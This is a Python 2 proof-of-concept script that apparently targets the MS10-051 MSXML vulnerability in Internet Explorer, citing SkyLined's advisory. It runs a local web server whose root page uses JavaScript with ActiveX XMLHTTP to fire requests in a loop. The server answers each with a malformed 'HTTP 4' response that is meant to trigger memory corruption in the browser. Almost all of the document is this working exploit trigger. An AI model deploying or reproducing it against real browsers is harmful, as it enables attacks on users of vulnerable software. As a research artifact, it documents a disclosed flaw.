# Sources:
# http://skypher.com/index.php/2010/08/10/ms10-051/
# http://code.google.com/p/skylined/issues/detail?id=17
#
import os, re, socket;
webserver_port = 28876;
replies = {
r'^/$': ('text/html', """
<SCRIPT>
iCounter = 0
function go() {
var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);
var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");
xml_http_request.open("GET", request_url, false);
xml_http_request.send();
setTimeout(go, 1);
}
go();
</SCRIPT>
"""),
r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',
};
server_socket = socket.socket();
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
server_socket.bind(('', webserver_port));
server_socket.listen(1);
print 'Webserver running at http://localhost:%d/' % webserver_port;
while 1:
client_socket,_ = server_socket.accept();
try:
request = client_socket.recv(1024);
except socket.error, e:
print '>> ??';
continue;
print '>> ' + request.split('\r\n')[0];
path = None;
if request[:4] == 'GET ':
end_path = request.find(' ', 4);
if end_path != -1:
path = request[4:end_path];
code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';
response = None;
if path is not None:
for path_regexp in replies.keys():
if re.match(path_regexp, path):
if type(replies[path_regexp]) == str:
response = replies[path_regexp];
elif type(replies[path_regexp]) == tuple:
code, reason = 200, 'OK';
mime_type, body = replies[path_regexp];
else:
code, reason, mime_type, body = replies[path_regexp](path);
break;
if response is None:
response = '\r\n'.join([
'HTTP/1.1 %03d %s' % (code, reason),
'Content-Type: %s' % mime_type,
'Date: Sat Aug 28 1976 09:15:00 GMT',
'Expires: Sat Aug 28 1976 09:15:00 GMT',
'Cache-Control: no-cache, must-revalidate',
'Pragma: no-cache',
'Accept-Ranges: bytes',
'Content-Length: %d' % len(body),
'',
body
]);
print '<< %s (%d bytes %s)' % \
(response.split('\r\n')[0], len(response), mime_type);
try:
client_socket.send(response);
except socket.error, e:
pass;
client_socket.close();
